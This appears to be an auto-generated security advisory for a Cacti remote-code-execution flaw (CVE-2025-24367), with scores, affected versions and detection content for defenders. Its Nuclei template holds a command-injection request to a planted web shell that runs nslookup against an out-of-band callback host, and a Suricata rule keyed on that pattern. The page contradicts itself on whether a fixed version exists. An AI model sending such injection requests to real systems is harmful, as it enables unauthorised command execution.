CVE-2025-24367: Cacti allows Arbitrary File Creation leading to RCE

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-04 15:41 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Cacti is an open source performance and fault management framework. An authenticated Cacti user can abuse graph creation and graph template functionality to create arbitrary PHP scripts in the web root of the application, leading to remote code execution on the server. This vulnerability is fixed in 1.2.29.

Description quoted from the CVE record (assigned by GitHub_M, published 2025-01-27).

Weakness: CWE-144: Improper Neutralization of Line Delimiters

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing low privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: yes. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Exploit Observer found 12 code repositories and 1 research write-up naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 21 references on Exploit Observer

Live scores

EPSS
0.588
very likely to be attacked soon
VEDAS
0.982
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
cactiversion <= 1.2.28Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

Cacti - Command Injection

Cacti is an open source performance and fault management framework. An authenticated Cacti user can abuse graph creation and graph template functionality to create arbitrary PHP scripts in the web root of the application, leading to remote code execution on the server.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /danshell.php?0=1;nslookup+{{interactsh-url}}); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2025-24367.yaml
Show the template (28 lines)
yaml
id: CVE-2025-24367

info:
  name: "Cacti - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Cacti is an open source performance and fault management framework. An authenticated Cacti user can abuse graph creation and graph template functionality to create arbitrary PHP scripts in the web root of the application, leading to remote code execution on the server.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-24367&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=cacti&match=exact
  classification:
    cve-id: CVE-2025-24367
    cwe-id: CWE-144
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2025,cacti,cmdi,oast

http:
  - method: GET
    path:
      - "{{BaseURL}}/danshell.php?0=1;nslookup+{{interactsh-url}}"
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

CVE-2025-24367.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-24367 Cacti - Command Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-24367 Cacti - Command Injection"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"danshell.php"; nocase; fast_pattern; content:"0="; nocase; content:"nslookup"; nocase; classtype:web-application-attack; reference:cve,CVE-2025-24367; reference:url,https://www.exploit.observer/?keyword=CVE-2025-24367&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=cacti&match=exact; sid:1019264; rev:1;)

CVE-2025-24367.rules on GitHub

References

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.

Supporting partners

Feasible SecurityAskealGoTrust